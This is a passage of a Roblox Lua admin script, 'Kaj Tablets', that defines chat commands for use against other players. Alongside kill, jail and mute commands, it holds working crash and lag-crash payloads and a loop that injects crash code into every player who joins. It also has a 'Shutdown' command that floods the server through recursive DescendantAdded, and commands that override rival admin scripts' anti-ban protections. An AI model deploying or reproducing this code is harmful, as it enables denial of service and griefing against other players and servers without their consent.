						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1686
							v:Kick()
1687
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1688
						end
1689
					end)
1690
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1691
			else
1692
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1693
					Dismiss(Speaker)
1694
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1695
					ypcall(function()
1696
						Ping("Rank: "..FindRank(v.Name), Speaker)
1697
					end)
1698
					ypcall(function()
1699
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1700
					end)
1701
					ypcall(function()
1702
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1703
					end)
1704
					ypcall(function()
1705
						Ping("Set Rank", Speaker, nil, function()
1706
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1707
								Dismiss(Speaker)
1708
								for i = -2, 5 do
1709
									Ping(i, Speaker, nil, function()
1710
										ChangeRank(v, i)
1711
										Dismiss(Speaker)
1712
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1713
									end)
1714
								end
1715
							else
1716
								Ping("Your Rank Is Too Low", Speaker, 5)
1717
							end
1718
						end)
1719
					end)
1720
					ypcall(function()
1721
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1722
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1723
								Crash2(v.Name)
1724
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1725
							end
1726
						end)
1727
					end)
1728
					ypcall(function()
1729
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1730
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1731
								Crash3(v, Speaker)
1732
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1733
							end
1734
						end)
1735
					end)
1736
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1737
			end
1738
		end
1739
	end)
1740
end
1741
1742
--Misc
1743
1744
coroutine.resume(coroutine.create(function()
1745
	PlaceAllRanks()
1746
end))
1747
	
1748
Delay(0, function()
1749
	for _,v in pairs(All()) do
1750
		v.Chatted:connect(function(Msg)
1751
			 onChatted(Msg, v) 
1752
			end)
1753
	end
1754
end)
1755
1756
local starttime = tick()
1757
1758
game:GetService("RunService").Heartbeat:connect(function()
1759
	if Removed == false then 
1760
		ypcall(function()
1761
			for _,Player in pairs(All()) do
1762
				local PlayerTablets = {}
1763
				for i,v in pairs(AllTabs) do
1764
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1765
						table.insert(PlayerTablets, v)
1766
					end
1767
				end
1768
				for i = 1, #PlayerTablets do
1769
					ypcall(function()
1770
						local tab = PlayerTablets[i].Tab
1771
						local pos = nil
1772
						ypcall(function()
1773
							pos = Player.Character.Torso.CFrame
1774
						end)
1775
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1776
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1777
						local cPos = tab.Position
1778
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1779
						local nPos = (ePos-cPos)*.25
1780
						cPos = cPos + nPos
1781
						local t = (tick() - starttime) % 360
1782
						local change = 0.625
1783
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1784
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
1785
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1786
					end)
1787
				end
1788
			end
1789
		end)
1790
	end
1791
end)
1792
1793
Delay(0, function()
1794
	while wait() do
1795
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1796
			ypcall(function()
1797
				if Injected[v.Name] == nil and LS ~= nil then
1798
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1799
					Injected[v.Name] = true
1800
				end
1801
			end)
1802
		end
1803
	end
1804
end)
1805
1806
Plrs.PlayerAdded:connect(function(Plr)
1807
	wait(.1)
1808
	ypcall(function()
1809
		if Removed == false then
1810
			local JoinPlrName = Plr.Name
1811
			coroutine.resume(coroutine.create(function()
1812
				PlaceSpecificRank(Plr)
1813
			end))
1814
			coroutine.resume(coroutine.create(function()
1815
				if Injected[JoinPlrName] ~= nil then
1816
					Injected[JoinPlrName] = nil
1817
				end
1818
			end))
1819
			coroutine.resume(coroutine.create(function()
1820
				Dismiss(Plr)
1821
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1822
			end))
1823
		end
1824
	end)
1825
end)
1826
1827
Plrs.PlayerRemoving:connect(function(Plr)
1828
	wait(.1)
1829
	ypcall(function()
1830
		if Removed == false then
1831
			local LeftPlrName = Plr.Name
1832
			coroutine.resume(coroutine.create(function()
1833
				if Injected[LeftPlrName] ~= nil then
1834
					Injected[LeftPlrName] = nil
1835
				end
1836
			end))
1837
		end
1838
	end)
1839
end)
1840
1841
coroutine.resume(coroutine.create(function()
1842
	Delay(0, function()
1843
		while FoundLocalScript == false do wait()
1844
			ypcall(function()
1845
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1846
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1847
						for _,c in pairs(v:children()) do
1848
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1849
								local NewVal = c:Clone()
1850
								NewVal.Name = "LoadingVal"
1851
								for _,s in pairs(v:GetChildren()) do
1852
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1853
										print("Found Owner")
1854
										OwnSource = s.Name
1855
										print(OwnSource)
1856
										break
1857
									end
1858
								end
1859
								wait()
1860
								LS = v:Clone()
1861
								NewVal.Parent = LS
1862
								LSSource = "LoadingVal"
1863
								FoundLocalScript = true
1864
								break
1865
							end
1866
						end
1867
					end
1868
				end
1869
			end)
1870
		end
1871
	end)
1872
end))
1873
1874
--Commands
1875
1876
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1877
	Dismiss(Speaker.Name)
1878
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1879
	Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1880
	Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
1881
	Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
1882
	Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
1883
	Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
1884
	Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
1885
	Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
1886
	
1887
end)
1888
1889
Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
1890
	Dismiss(Speaker.Name)
1891
end)
1892
1893
Command("Kill", 2, "Kills A Player", 
1894
	function(Msg, Speaker)
1895
	local PlrTab = getPlayer(Speaker, Msg)
1896
	if #PlrTab > 0 then
1897
		for _,v in pairs(PlrTab) do
1898
			ypcall(function()
1899
				v.Character:BreakJoints()
1900
				Ping("Killed "..v.Name, Speaker, 5)
1901
			end)
1902
		end
1903
	end
1904
end)
1905
1906
Command("expl", 2, "Explodes A Player", 
1907
	function(Msg, Speaker)
1908
	local PlrTab = getPlayer(Speaker, Msg)
1909
	if #PlrTab > 0 then
1910
		for _,v in pairs(PlrTab) do
1911
			ypcall(function()
1912
                if v.Character and v.Character:findFirstChild("Head") then
1913
                        local e = Instance.new("Explosion")
1914
                        e.Position = v.Character.Head.Position
1915
                        e.Parent = v.Character
1916
				Ping("Exploded "..v.Name, Speaker, 5)
1917
				end
1918
			end)
1919
		end
1920
	end
1921
end)
1922
1923
1924
Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
1925
	Dismiss()
1926
end)
1927
1928
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1929
	local PlrTab = getPlayer(Speaker, Msg)
1930
	if #PlrTab > 0 then
1931
		for _,v in pairs(PlrTab) do
1932
			ypcall(function()
1933
				if v.Name ~= Owner then
1934
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1935
					Ping("Muted "..v.Name, Speaker, 5)
1936
				end
1937
			end)
1938
		end
1939
	end
1940
end)
1941
1942
1943
1944
Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
1945
	local PlrTab = getPlayer(Speaker, Msg)
1946
	if #PlrTab > 0 then
1947
		for _,v in pairs(PlrTab) do
1948
			ypcall(function()
1949
					Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
1950
					
1951
			end)
1952
		end
1953
	end
1954
end)
1955
1956
Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
1957
	local PlrTab = getPlayer(Speaker, Msg)
1958
	if #PlrTab > 0 then
1959
		for _,v in pairs(PlrTab) do
1960
			ypcall(function()
1961
					Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
1962
					
1963
			end)
1964
		end
1965
	end
1966
end)
1967
Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
1968
	Dismiss()
1969
	for i = 1, 2 do
1970
	Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
1971
end end)
1972
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1973
	local PlrTab = getPlayer(Speaker, Msg)
1974
	if #PlrTab > 0 then
1975
		for _,v in pairs(PlrTab) do
1976
			ypcall(function()
1977
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1978
				Ping("Rejoined "..v.Name, Speaker, 5)
1979
			end)
1980
		end
1981
	end
1982
end)
1983
1984
Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
1985
	local PlrTab = getPlayer(Speaker, Msg)
1986
	if #PlrTab > 0 then
1987
		for _,v in pairs(PlrTab) do
1988
			ypcall(function()
1989
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1990
				Ping("Jailed "..v.Name, Speaker, 5)
1991
			end)
1992
		end
1993
	end
1994
end)
1995
1996
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1997
	local PlrTab = getPlayer(Speaker, Msg)
1998
	if #PlrTab > 0 then
1999
		for _,v in pairs(PlrTab) do
2000
			ypcall(function()
2001
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
2002
				Ping("Lag Crashing "..v.Name, Speaker, 5)
2003
			end)
2004
		end
2005
	end
2006
end)
2007
2008
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
2009
	local PlrTab = getPlayer(Speaker, Msg)
2010
	if #PlrTab > 0 then
2011
		for _,v in pairs(PlrTab) do
2012
			ypcall(function()
2013
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2014
				Ping("UnMuted "..v.Name, Speaker, 5)
2015
			end)
2016
		end
2017
	end
2018
end)
2019
2020
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
2021
	local Worked = false
2022
	for _,v in pairs(Work:GetChildren()) do
2023
		if string.find(v.Name:lower(), Msg:lower()) then
2024
			if v:IsA("Script") or v:IsA("LocalScript") then
2025
				v.Disabled = true
2026
				v:Destroy()
2027
				Worked = true
2028
				Ping("Disabled Script: "..v.Name, Speaker, 5)
2029
			end
2030
		end
2031
	end
2032
	if Worked == false then
2033
		Ping("Script Not Found", Speaker, 5)
2034
	end
2035
end)
2036
2037
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
2038
	Dismiss(Speaker)
2039
	local AllScripts = {}
2040
	for _,v in pairs(Work:GetChildren()) do
2041
		if v:IsA("Script") then
2042
			table.insert(AllScripts, v.Name)
2043
		end
2044
	end
2045
	if #AllScripts > 0 then
2046
		for _,v in pairs(AllScripts) do
2047
			Ping(v, Speaker)
2048
		end
2049
	else
2050
		Ping("No Scripts Found", Speaker, 5)
2051
	end
2052
end)
2053
2054
Command("afk",0,'Makes you go AFK',
2055
	 function(Msg,Speaker)
2056
		Dismiss(Speaker)
2057
                for i = 1,8 do
2058
                        Ping('AFK',Speaker)
2059
							wait(.01)
2060
                        end
2061
        end)
2062
Command("back",0,'Creates Tablets telling everyone that you are back',
2063
	 function(Msg,Speaker)
2064
		Dismiss(Speaker)
2065
                for i = 1,8 do
2066
                        Ping('Welcome Back!',Speaker,6)
2067
					wait(.1)
2068
                        end
2069
        end)
2070
2071
2072
2073
2074
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
2075
	Dismiss(Speaker)
2076
	local LocalScripts = {}
2077
	for _,v in pairs(All()) do
2078
		ypcall(function()
2079
			for _,x in pairs(v.Character:GetChildren()) do
2080
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2081
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2082
				end
2083
			end
2084
		end)
2085
		ypcall(function()
2086
			for _,x in pairs(v.Backpack:GetChildren()) do
2087
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2088
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2089
				end
2090
			end
2091
		end)
2092
		ypcall(function()
2093
			for _,x in pairs(v.PlayerGui:GetChildren()) do
2094
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2095
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2096
				end
2097
			end
2098
		end)
2099
	end
2100
	if #LocalScripts > 0 then
2101
		for _,v in pairs(LocalScripts) do
2102
			Ping(v, Speaker)
2103
		end
2104
	else
2105
		Ping("No Local Scripts Found", Speaker, 5)
2106
	end
2107
end)
2108
2109
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
2110
	local Split = GetSplit(Msg)
2111
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2112
	local ScriptName = Msg:sub(Split + 1)
2113
	local FoundLocal = false
2114
	for _,name in pairs(PlrTab) do
2115
		ypcall(function()
2116
			for _,v in pairs(name.Character:GetChildren()) do
2117
				if string.find(v.Name:lower(), ScriptName) then
2118
					if v:IsA("Script") or v:IsA("LocalScript") then
2119
						v.Disabled = true
2120
						v:Destroy()
2121
						FoundLocal = true
2122
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2123
					end
2124
				end
2125
			end
2126
		end)
2127
		ypcall(function()
2128
			for _,v in pairs(name.Backpack:GetChildren()) do
2129
				if string.find(v.Name:lower(), ScriptName) then
2130
					if v:IsA("Script") or v:IsA("LocalScript") then
2131
						v.Disabled = true
2132
						v:Destroy()
2133
						FoundLocal = true
2134
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2135
					end
2136
				end
2137
			end
2138
		end)
2139
		ypcall(function()
2140
			for _,v in pairs(name.PlayerGui:GetChildren()) do
2141
				if string.find(v.Name:lower(), ScriptName) then
2142
					if v:IsA("Script") or v:IsA("LocalScript") then
2143
						v.Disabled = true
2144
						v:Destroy()
2145
						FoundLocal = true
2146
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2147
					end
2148
				end
2149
			end
2150
		end)
2151
		if FoundLocal == false then
2152
			Ping("Local Script Not Found", Speaker, 5)
2153
		end
2154
	end
2155
end)
2156
2157
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
2158
	for _,v in pairs(game:GetChildren()) do
2159
		ypcall(function()
2160
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
2161
				for _,a in pairs(v:GetChildren()) do
2162
					ypcall(function()
2163
						a:Destroy()
2164
					end)
2165
				end
2166
			elseif v.Name == "Players" then
2167
				for _,plr in pairs(v:GetPlayers()) do
2168
					Clear(plr)
2169
				end
2170
			end
2171
		end)
2172
	end
2173
	Clean()
2174
	Fixl()
2175
	Ping("Fully Cleaned", Speaker, 5)
2176
end)
2177
2178
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
2179
	LClean()
2180
	Fixl()
2181
	Ping("Lightly Cleaned", Speaker, 5)
2182
end)
2183
2184
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
2185
	local PlrTab = getPlayer(Speaker, Msg)
2186
	if #PlrTab > 0 then
2187
		for _,v in pairs(PlrTab) do
2188
			ypcall(function()
2189
				v:LoadCharacter()
2190
				Ping("Reset "..v.Name, Speaker, 5)
2191
			end)
2192
		end
2193
	end
2194
end)
2195
2196
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
2197
	repeat wait() until Speaker.Character:findFirstChild("Torso")
2198
	if Work:findFirstChild("Base") then
2199
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
2200
	else
2201
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
2202
	end
2203
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
2204
end)
2205
2206
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
2207
	local PlrTab = getPlayer(Speaker, Msg)
2208
	if #PlrTab > 0 then
2209
		for _,v in pairs(PlrTab) do
2210
			ypcall(function()
2211
				v.Character.Torso.Anchored = true
2212
				Ping("Froze "..v.Name, Speaker, 5)
2213
			end)
2214
		end
2215
	end
2216
end)
2217
2218
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
2219
	wait(3)
2220
	Ping("Something went wrong",Speaker,5)
2221
	end)
2222
2223
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
2224
	local PlrTab = getPlayer(Speaker, Msg)
2225
	if #PlrTab > 0 then
2226
		for _,v in pairs(PlrTab) do
2227
			ypcall(function()
2228
				Instance.new("ForceField", v.Character)
2229
			end)
2230
		end
2231
	end
2232
end)
2233
2234
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
2235
	local PlrTab = getPlayer(Speaker, Msg)
2236
	if #PlrTab > 0 then
2237
		for _,v in pairs(PlrTab) do
2238
			ypcall(function()
2239
				RemObj(v.Character, "ForceField")
2240
			end)
2241
		end
2242
	end
2243
end)
2244
2245
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
2246
	local Split = GetSplit(Msg)
2247
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2248
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
2249
	if #PlrTab > 0 and #PlrTab2 > 0 then
2250
		for i,v in pairs(PlrTab) do
2251
			ypcall(function()
2252
				for _,v2 in pairs(PlrTab2) do
2253
					ypcall(function()
2254
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
2255
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
2256
					end)
2257
				end
2258
			end)
2259
		end
2260
	end
2261
end)
2262
2263
Command("Msg",2, "Creates a Message",
2264
	function(Msg,Speaker)
2265
		Message(Msg)
2266
end)
2267
2268
Command("H",2, "Creates a Hint",
2269
	function(Msg,Speaker)
2270
		Hint(Msg)
2271
end)
2272
2273
Command("Sm",2, "Creates a System message",
2274
	function(Msg,Speaker)
2275
		SystemMsg(Msg)
2276
end)
2277
2278
function Message(str,p)
2279
	if p==nil then
2280
		for _,Player in pairs(game.Players:GetPlayers()) do
2281
			coroutine.wrap(function()
2282
				local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2283
				local Text = Instance.new("TextLabel", Msg)
2284
				Text.Position = UDim2.new(0, 0, 0.7, 0)
2285
				Text.Font=2
2286
				Text.FontSize=9
2287
				Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2288
				Text.BackgroundTransparency = 0.4
2289
				Text.TextColor3 = Color3.new(1, 1, 1)
2290
				Text.TextTransparency = 1
2291
				Text.TextWrap = true
2292
				Text.Text = tostring(str)
2293
				Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2294
				Text.TextTransparency = 0
2295
				Num = #str * 0.06
2296
				wait(3)
2297
				Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2298
				wait(Num)
2299
				Msg:Remove()
2300
			end)()
2301
		end
2302
	else
2303
		Player=p;
2304
		coroutine.wrap(function()
2305
			local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2306
			local Text = Instance.new("TextLabel", Msg)
2307
			Text.Position = UDim2.new(0, 0, 0.7, 0)
2308
			Text.Font=2
2309
			Text.FontSize=9
2310
			Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2311
			Text.BackgroundTransparency = 0.1
2312
			Text.TextColor3 = Color3.new(1, 1, 1)
2313
			Text.TextTransparency = 1
2314
			Text.TextWrap = true
2315
			Text.Text = tostring(str)
2316
			Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2317
			Text.TextTransparency = 0
2318
			Num = #str * 0.06
2319
			wait(3)
2320
			Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2321
			wait(Num)
2322
			Msg:Remove()
2323
		end)()
2324
	end
2325
end
2326
function SystemMsg(str)
2327
	for _,Player in pairs(game.Players:GetPlayers()) do
2328
		coroutine.wrap(function()
2329
			local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2330
			local Text = Instance.new("TextLabel", Msg)
2331
			Text.Position = UDim2.new(0, 0, 0, 0)
2332
			Text.Font='Legacy'
2333
			Text.FontSize = "Size48"
2334
			Text.BackgroundColor3 = Color3.new(-1,-1,-1)
2335
			Text.BackgroundTransparency = 0.4
2336
			Text.TextColor3 = Color3.new(1,1,1)
2337
			Text.TextTransparency = 0
2338
			Text.TextWrap = true
2339
			Text.Text = ' [ System ] \n ' .. tostring(str)
2340
			Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
2341
			Text.TextTransparency = 0.1
2342
			Num = #str * 0.06
2343
			wait(6)
2344
			Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2345
			wait(Num)
2346
			Msg:Remove()
2347
		end)()
2348
	end
2349
end
2350
function Hint(str,p)
2351
	if p == nil then
2352
		for _,Player in pairs(game.Players:GetPlayers()) do
2353
			coroutine.wrap(function()
2354
				local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2355
				local Text = Instance.new("TextLabel", Msg)
2356
				Text.Position = UDim2.new(0, 0, 0, 0)
2357
				Text.Font=2
2358
				Text.FontSize=9
2359
				Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2360
				Text.BackgroundTransparency = 0.4
2361
				Text.TextColor3 = Color3.new(1, 1, 1)
2362
				Text.TextTransparency = 1
2363
				Text.TextWrap = true
2364
				Text.Text = tostring(str)
2365
				Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2366
				Text.TextTransparency = 0
2367
				Num = #str * 0.06
2368
				wait(3)
2369
				Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2370
				wait(Num)
2371
				Msg:Remove()
2372
			end)()
2373
		end
2374
	else
2375
		Player=p
2376
		coroutine.wrap(function()
2377
			local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2378
			local Text = Instance.new("TextLabel", Msg)
2379
			Text.Position = UDim2.new(0, 0, 0, 0)
2380
			Text.Font=2
2381
			Text.FontSize=9
2382
			Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2383
			Text.BackgroundTransparency = 0.1
2384
			Text.TextColor3 = Color3.new(1, 1, 1)
2385
			Text.TextTransparency = 1
2386
			Text.TextWrap = true
2387
			Text.Text = tostring(str)
2388
			Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2389
			Text.TextTransparency = 0
2390
			Num = #str * 0.06
2391
			wait(3)
2392
			Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2393
			wait(Num)
2394
			Msg:Remove()
2395
		end)()
2396
	end
2397
end
2398
2399
Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
2400
	MakeExplorer(Speaker)
2401
end)
2402
2403
2404
Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
2405
	wait()
2406
	Dismiss(Speaker)
2407
	NumBanned = 0
2408
	NumCmds = 0
2409
	for i = 1, #Rankings do
2410
		if Rankings[i].Rank < 0 then
2411
			NumBanned = NumBanned + 1
2412
		end
2413
	end
2414
	for i,v in pairs(Commands) do
2415
		NumCmds = NumCmds + 1
2416
	end
2417
	Ping("KAJ Tablets!", Speaker)
2418
	Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
2419
	Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
2420
	Ping("I started this on 6/9/2014", Speaker)
2421
	
2422
	Ping(#All2.." players online in the server",Speaker)
2423
	Ping(NumCmds.." Commands",Speaker)
2424
	Ping(NumBanned.." players banned", Speaker,5)
2425
	
2426
end)
2427
2428
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
2429
	Dismiss(Speaker)
2430
	for i,v in pairs(All()) do
2431
		Ping(v.Name.."'s Rank: "..FindRank(v))
2432
	end
2433
end)
2434
2435
Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
2436
	local Split = GetSplit(Msg)
2437
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2438
	local Speed = tonumber(Msg:sub(Split + 1))
2439
	for _,v in pairs(PlrTab) do
2440
		ypcall(function()
2441
			v.Character.Humanoid.WalkSpeed = Speed
2442
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
2443
		end)
2444
	end
2445
end)
2446
2447
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
2448
	local RemoveAB = Instance.new("StringValue")
2449
	RemoveAB.Name = "CBA Attachment"
2450
	RemoveAB.Value = [[CBA.override=true;]]
2451
	RemoveAB.Parent = Work
2452
	Ping("Removed All CBA Anti-Bans", Speaker, 5)
2453
end)
2454
2455
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
2456
	Dismiss(Speaker)
2457
	for i,v in pairs(Injected) do
2458
		Ping(i, Speaker)
2459
	end
2460
end)
2461
2462
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
2463
	local RemoveCBA = Instance.new("StringValue")
2464
	RemoveCBA.Name = "CBA Attachment"
2465
	RemoveCBA.Value = [[CBA.remove = false]]
2466
	RemoveCBA.Parent = Work
2467
	Ping("Removed All CBA Admins", Speaker, 5)
2468
end)
2469
2470
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
2471
	local function BufferOverflow(object)
2472
		object.DescendantAdded:connect(BufferOverflow)
2473
		Instance.new("IntValue", object)
2474
	end
2475
	BufferOverflow(Game)
2476
end)
2477
2478
Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
2479
	local PlrTab = getPlayer(Speaker, Msg)
2480
	if #PlrTab > 0 then
2481
		for _,v in pairs(PlrTab) do
2482
			ypcall(function()
2483
				Crash1(v)
2484
				
2485
			end)
2486
		end
2487
	end
2488
end)
2489
2490
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
2491
	local PlrTab = getPlayer(Speaker, Msg)
2492
	if #PlrTab > 0 then
2493
		for _,v in pairs(PlrTab) do
2494
			ypcall(function()
2495
				ChangeRank(v, -1)
2496
			end)
2497
		end
2498
	end
2499
end)
2500
2501
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
2502
	local PlrTab = getPlayer(Speaker, Msg)
2503
	if #PlrTab > 0 then
2504
		for _,v in pairs(PlrTab) do
2505
			ypcall(function()
2506
				ChangeRank(v, -2)
2507
			end)
2508
		end
2509
	end
2510
end)
2511
2512
2513
2514
2515
2516
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
2517
	local PlrTab = getPlayer(Speaker, Msg)
2518
	if #PlrTab > 0 then
2519
		for _,v in pairs(PlrTab) do
2520
			ypcall(function()
2521
				ChangeRank(v, -3)
2522
			end)
2523
		end
2524
	end
2525
end)
2526
2527
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
2528
	ypcall(function()
2529
		local PlrTab = getPlayer(Speaker, Msg)
2530
		if #PlrTab > 0 then
2531
			for _,v in pairs(PlrTab) do
2532
				ypcall(function()
2533
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2534
				end)
2535
